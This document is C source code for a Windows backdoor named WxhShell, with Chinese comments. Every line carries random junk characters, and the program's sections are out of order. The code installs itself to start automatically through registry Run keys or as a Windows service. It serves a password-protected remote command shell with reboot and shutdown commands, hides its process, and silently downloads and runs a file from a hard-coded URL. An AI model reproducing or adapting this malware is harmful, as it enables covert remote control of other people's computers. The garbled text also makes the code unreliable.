DWORD AffinityMask; /P{'nI
DWORD BasePriority; Zvz}Z8jW
ULONG UniqueProcessId; p_sqw~)^%
ULONG InheritedFromUniqueProcessId; xO
1uHaL
} PROCESS_BASIC_INFORMATION; $)O\i^T
m`3gNox
PROCNTQSIP NtQueryInformationProcess; QRY7ck:N
;xE1#ZT
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^6^A/]v
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )%?SWuS?N
QTI^?@+N>
HANDLE hProcess; w>#.id[k
PROCESS_BASIC_INFORMATION pbi; ^#j{9FpPs
SL%
Ec%9Y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]FO)U
if(NULL == hInst ) return 0; A `=.F
C'0=eel[
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P?U}@U~9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }KL( -Ui$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1A9Gf
=^3B&qQNq
if (!NtQueryInformationProcess) return 0; UXV>#U?
g(zoN0~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T_?,?
if(!hProcess) return 0; GI*2*m!u
V_7QWIdiy>
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
|/p2DU2
ig,v6lqhM
CloseHandle(hProcess); bG9$ &,
8:(e~?
f6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <q#/z&F!
if(hProcess==NULL) return 0; GGwHz]1L
*+'l|VaVq\
HMODULE hMod; 2(sq*!tX
char procName[255]; k7Z1Y!n7
unsigned long cbNeeded; ~w9ZSSb4
|G]M"3^
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E; Z1HF
R
$3MYr5
CloseHandle(hProcess); cH%#qE3
c 7uryL
if(strstr(procName,"services")) return 1; // 以服务启动 zmMz6\ $
gkyv[
return 0; // 注册表启动 {$mj9?n=v
} FsYsQ_,R3
(Q09$
// 主模块 .)eX(2j\
int StartWxhshell(LPSTR lpCmdLine) j;']L}R
{ 9fL48f$
SOCKET wsl; C6C7*ks
BOOL val=TRUE; O.8{c;
int port=0; hd}"%9p
struct sockaddr_in door; f#9\&-he0
#I.Wmfz
if(wscfg.ws_autoins) Install(); o!+jPwEU
c);(+b
port=atoi(lpCmdLine); 7 n=fB#!*3
"ujt:4p@
if(port<=0) port=wscfg.ws_port; <ZM8*bqi
M6b;
DQ
WSADATA data; 3;J)&(j0
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sy|{}NkA!
D'823,-).
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; {
+%S{=j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?g$dz?^CK&
door.sin_family = AF_INET; :8~*NSEFd
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rg6e7JVu
door.sin_port = htons(port); GUyc1{6
YbrsXp"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zF[>K4
closesocket(wsl); #'-L`])7uw
return 1; G*|2qX"o
} QxmVImn"
sc!
e$@U
if(listen(wsl,2) == INVALID_SOCKET) { e_BOzN~c
closesocket(wsl); \5%T'S@5
return 1;
C9q`x2
} (Js'(tBhiU
Wxhshell(wsl); /L1qdkG
WSACleanup(); ~ 0x9`~
? 1g<] ?
return 0; 9*%Uoy:
DaW_-:@s
} 4V7{5:oa
'~E&^K5hr
// 以NT服务方式启动 @,-xaZ[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l#,WMu&
{ Y24:D7Q
DWORD status = 0; MOFIR
wVZ+
DWORD specificError = 0xfffffff; c4R6E~S
TCSm#?[B
serviceStatus.dwServiceType = SERVICE_WIN32; $zTjh~ 9
serviceStatus.dwCurrentState = SERVICE_START_PENDING; sYt8NsQ
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b
"4W`
A
serviceStatus.dwWin32ExitCode = 0; Vl!Z|}z
serviceStatus.dwServiceSpecificExitCode = 0; mb*L'y2r
serviceStatus.dwCheckPoint = 0; rBP!RSl1
serviceStatus.dwWaitHint = 0; ]OoqU-q
1e;^MzB"
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h!f7/)|[o
if (hServiceStatusHandle==0) return; :_tsS)Q2m
5vL]Y)l
status = GetLastError();
@>J4K#"
if (status!=NO_ERROR) <dzE5]%\
{ >sP-)ZeuU[
serviceStatus.dwCurrentState = SERVICE_STOPPED; tLpDIA_8
serviceStatus.dwCheckPoint = 0; `?Wak=]g
serviceStatus.dwWaitHint = 0; B_[^<2_
serviceStatus.dwWin32ExitCode = status; H;<hmbN?d
serviceStatus.dwServiceSpecificExitCode = specificError; P'Jw: )k(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pb.-Z@
return; (i7]N[
} C CX\"-C
~?dPF;.6_
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]OHzE]Q
serviceStatus.dwCheckPoint = 0; a Kb2:1EQ
serviceStatus.dwWaitHint = 0; @R?S-*o
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S"w$#"EJA
} :?{ **&=
<UG}P \N
// 处理NT服务事件,比如:启动、停止 2_0OSbFv'P
VOID WINAPI NTServiceHandler(DWORD fdwControl) rZZueYuXO
{ a[)in ,3
switch(fdwControl) v\t$. _at
{ 3a_S-&?X
case SERVICE_CONTROL_STOP: `jJ5us
serviceStatus.dwWin32ExitCode = 0; S
1|[}nYP
serviceStatus.dwCurrentState = SERVICE_STOPPED; x<"e} Oo
serviceStatus.dwCheckPoint = 0; ~xu<xy@E
serviceStatus.dwWaitHint = 0; "-vm=d~\
{ ?T70C9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w/N.#s^
} lx~!FLn
return; V$-IRdb
case SERVICE_CONTROL_PAUSE: &`<j!xlG
serviceStatus.dwCurrentState = SERVICE_PAUSED; .8l\;/o|
break; ?DkMzR)u
case SERVICE_CONTROL_CONTINUE: ,'F;s:WM,
serviceStatus.dwCurrentState = SERVICE_RUNNING; DPi%[CRH
break; M=e]v9
case SERVICE_CONTROL_INTERROGATE: \A _g
break; 9>qR6k?
}; T?)?"b\qz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <r,l
} 6.2_UN^<
J
\1&3r|R
// 标准应用程序主函数 r<Ll>R
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zMKW@
{ Tul_/` An
J(h=@cw
// 获取操作系统版本 :sFP{rFx~
OsIsNt=GetOsVer(); O(h4;'/E
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;p/RS#
~DVAk|fc
// 从命令行安装 qp^O\>c
if(strpbrk(lpCmdLine,"iI")) Install(); (J][(=s;a
F>)u<f,C
// 下载执行文件 d5%A64?
if(wscfg.ws_downexe) { 3.?PdK&C
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a84^"GH7
WinExec(wscfg.ws_filenam,SW_HIDE); U/m6% )Yx(
} 2md1GWyP
sE-E\+
if(!OsIsNt) { <u*~RYA2
// 如果时win9x,隐藏进程并且设置为注册表启动 V(A6>0s$|
HideProc(); %:N6#;l M
StartWxhshell(lpCmdLine); x;l\#x/<
} y|nMCkuX
else Xp{+){Iu
if(StartFromService()) b"t!nfgo
// 以服务方式启动 Ja|! fT
StartServiceCtrlDispatcher(DispatchTable); "CB*
else UW<V(6P
// 普通方式启动 _LFZ 0
StartWxhshell(lpCmdLine); /fWVgyW>6
Z[yQKy
return 0; OOGqtA;
} _0 USe
"Git@%80
cV_nYcLkz
xXE/pIXw
=========================================== 3lqR(Hh3
Q_euNoA0
`ux
U
H#
4WG~7eIgy
*
'WzIk2
H*!j\|v0
" [2gK^o&t
8=FP92X
#include <stdio.h> [bIdhG
#include <string.h> =M>1;Qr<Z/
#include <windows.h> @mW: FVI
#include <winsock2.h> 7@$Hua,GY
#include <winsvc.h> En&ESWN
#include <urlmon.h> GN /]^{D
ji="vs=y
#pragma comment (lib, "Ws2_32.lib") O7I:Y85i#O
#pragma comment (lib, "urlmon.lib") S
"R]i
5*xk8*
#define MAX_USER 100 // 最大客户端连接数 "D'A7DA
#define BUF_SOCK 200 // sock buffer ` =RJ8u
#define KEY_BUFF 255 // 输入 buffer 7JD
jJQy
&/d;4Eu
#define REBOOT 0 // 重启 57Q^"sl
#define SHUTDOWN 1 // 关机 9w^1/t&=04
YQvN;W
#define DEF_PORT 5000 // 监听端口 y5 $h
`@b+'L
#define REG_LEN 16 // 注册表键长度 mVg-z~44T
#define SVC_LEN 80 // NT服务名长度 X#j-Ld{j
3*"$E_%
// 从dll定义API Yj|Oy
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DnS#
cs~
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wp`wIe6
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $J>GCY
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oJ\UF S
;t{Ew+s
// wxhshell配置信息 ^6bU4bA
struct WSCFG { t&T0E.kh*X
int ws_port; // 监听端口 !Low%rP
char ws_passstr[REG_LEN]; // 口令 cJd~UQ<k
int ws_autoins; // 安装标记, 1=yes 0=no 1-r#v
char ws_regname[REG_LEN]; // 注册表键名 XZYpU\K
char ws_svcname[REG_LEN]; // 服务名 s]Nh9h
char ws_svcdisp[SVC_LEN]; // 服务显示名 4d#w}
char ws_svcdesc[SVC_LEN]; // 服务描述信息 :^tw!U%y1
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w>>)3:Ytd
int ws_downexe; // 下载执行标记, 1=yes 0=no $@"o BCc
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Lg0Vn&k
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2`tdH|Z`
U:ggZ`.
}; i\lur ET
D]S@U>]M!
// default Wxhshell configuration l)<
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struct WSCFG wscfg={DEF_PORT, o?$kcI4
"xuhuanlingzhe", y.AVH`_u
1, RO+B/)~0<
"Wxhshell", Kq
e,p{=
"Wxhshell", _\hZX|:]
"WxhShell Service", D7H,49#1Q
"Wrsky Windows CmdShell Service", YjN2 ,Xi
"Please Input Your Password: ", wYQTG*&h
1, s+&Ts|c#
"http://www.wrsky.com/wxhshell.exe", WL$nchS9
"Wxhshell.exe" wegu1Ny
}; /4J2F9:f
<NZ^*]
// 消息定义模块 WPi^;c8
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -Zx
hh
char *msg_ws_prompt="\n\r? for help\n\r#>"; /` 891(f,
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V #["Z}
char *msg_ws_ext="\n\rExit."; @RGVcfCG)
char *msg_ws_end="\n\rQuit."; 4A6D>ChB'E
char *msg_ws_boot="\n\rReboot..."; ,3l=44*
char *msg_ws_poff="\n\rShutdown..."; VU3xP2c:
char *msg_ws_down="\n\rSave to "; Pz#D9.D0
hbRDM'
char *msg_ws_err="\n\rErr!"; }_93}e
char *msg_ws_ok="\n\rOK!"; 6REv( E]
ivg:`$a[
char ExeFile[MAX_PATH]; VN`T:!&
int nUser = 0; p?(w! O
HANDLE handles[MAX_USER]; )';Rb$<Qn
int OsIsNt; :+,>0%
d MQ]=
SERVICE_STATUS serviceStatus; [ fvip_Pt
SERVICE_STATUS_HANDLE hServiceStatusHandle; VP[-BK[
eQ_dO]Q
// 函数声明 l^aG"")TH.
int Install(void); 7zo)t1H1
int Uninstall(void); MDn+K#p
int DownloadFile(char *sURL, SOCKET wsh); CBw/a0Uck
int Boot(int flag); i(P/=B
void HideProc(void); .J:04t1
int GetOsVer(void); ^%l~|w
int Wxhshell(SOCKET wsl); R\k=
CoJJ
void TalkWithClient(void *cs); w@RVg*`%7D
int CmdShell(SOCKET sock); !R*%F
int StartFromService(void); ^% y<7>%
int StartWxhshell(LPSTR lpCmdLine); 9l).L L
x/D"a|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qj*IKS
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W/_=S+CvK
Lt ;!q b.
// 数据结构和表定义 &2IrST{d:V
SERVICE_TABLE_ENTRY DispatchTable[] = P'f0KZL;
{ pW ]+a0j
{wscfg.ws_svcname, NTServiceMain}, Y@x }b{3
{NULL, NULL} YI05?J}
}; YT7,=k _
Sh'>5z2
// 自我安装 C@+"d3
int Install(void) n+Ofbiz@
{ 3`sM/BoA
char svExeFile[MAX_PATH]; vlYDhjZk#
HKEY key; -L e:%q2
strcpy(svExeFile,ExeFile); *:t]|$;E\
PZ5BtDm
// 如果是win9x系统,修改注册表设为自启动 XVwaX2=L
if(!OsIsNt) { :&D>?{b0
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uw R,U#d
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2>~{.4PI
RegCloseKey(key); 86Q\G.h7
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }G^Bc4@b
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \2cbZQx
RegCloseKey(key); !wH7;tU
return 0; 2 mM0\ja
} 9>~UqP9
} Co6ghH7T
} (I3:u-A
else { +zodkB~)
T' O5>e
// 如果是NT以上系统,安装为系统服务 V[D[MZ
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ZUGuV@&-T
if (schSCManager!=0) hgCF!eud
{ 'G1~\CT
SC_HANDLE schService = CreateService 0{|ib !
( V0hC[Ilr
schSCManager, zt/p'khP3
wscfg.ws_svcname, \(UEjlo
wscfg.ws_svcdisp, ,a_F[uK
SERVICE_ALL_ACCESS, ;{b 1'
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Kj[X1X5
SERVICE_AUTO_START, hpJ[VKe
SERVICE_ERROR_NORMAL, R_4]6{Rm
svExeFile, *O')
{(
NULL, S.o 9AUv9
NULL, Id8^6FLw
NULL, S-^y;#=
NULL, 0gNwC~IA8
NULL /BC(O[P
); G=4Da~<ij
if (schService!=0) ?>47!):-*
{ #;. tVo I
CloseServiceHandle(schService); f(q^R
CloseServiceHandle(schSCManager); > o{(f
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a&YD4DQ05
strcat(svExeFile,wscfg.ws_svcname); NJ8QI(^"
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zRyZrt,%&
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2YvhzL[um
RegCloseKey(key); >@^z?nb
return 0; ;6aTt2BQ
} G
hH0-g{-
} ]9z{
95
CloseServiceHandle(schSCManager); `X?l`H;#
} K~$o2a
e
} F?2(U\k#
9ls<Y
return 1; I^ W
} .Ajs0 T2
w?kdM1T
// 自我卸载 *LJN2;
int Uninstall(void) (n7v $A
{ r.M8#YL
HKEY key; =]x FHw8A
W2h^ShG
if(!OsIsNt) { pK O\tkMJ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rC~hjViG.
RegDeleteValue(key,wscfg.ws_regname); ]D&$k P(
RegCloseKey(key); >*%ySlZbs
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;;BQuG
RegDeleteValue(key,wscfg.ws_regname); Q1V 4bmM
RegCloseKey(key); j6Acd~y\2
return 0; c0ET]
} YBQO]3f
} |x3(Tf
} 2#'{Q4K
else { +GMM&6<
%w7J0p
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !]qwRB$5
if (schSCManager!=0) ]t_AXKd
{ vvw6 GB,M
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ewB&PR
if (schService!=0) *{:FPmDU
{ p"ht|x
if(DeleteService(schService)!=0) {
04NI.Jv
CloseServiceHandle(schService); sAS\-c'6
CloseServiceHandle(schSCManager); s5FyP"V
return 0; ;<0Q<0G
} y]eH@:MJ;A
CloseServiceHandle(schService); Fs_V3i3|L
} UzFd@W u#
CloseServiceHandle(schSCManager); |0n h
} H?ssV^k
} R{)Sv| +`
X4*{CM
return 1; [>&Nhn0iY
} 4%2QF F@
rs2~spN;h
// 从指定url下载文件 A- IpE
int DownloadFile(char *sURL, SOCKET wsh) P"W$ZX
{ laqKP+G
HRESULT hr; /ow/)\/}
char seps[]= "/"; K)$.0S9d
char *token; g"]%5Ow1
char *file; zAt!jP0E
char myURL[MAX_PATH]; cqr!*
char myFILE[MAX_PATH]; ^*'|(Cv
h>$,97EU
strcpy(myURL,sURL); ]"q[hF*PM
token=strtok(myURL,seps); ~;#J&V@D
while(token!=NULL) ~ C6<75
{ UZMo(rG.]{
file=token; qO[6?q=c:
token=strtok(NULL,seps); `zRgP#
} K+Al8L?K_
"cRc~4%K
GetCurrentDirectory(MAX_PATH,myFILE); J7t5B}}
strcat(myFILE, "\\"); F%bv
vw*(
strcat(myFILE, file); v>.nL(VLjP
send(wsh,myFILE,strlen(myFILE),0); LslQZ]3MY
send(wsh,"...",3,0); g}|a-
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "R+
x
if(hr==S_OK) :1eI"])(
return 0; mN@)b+~(S
else oP5G*AFUq
return 1; i;*c|ma1>
$&nF1HBI4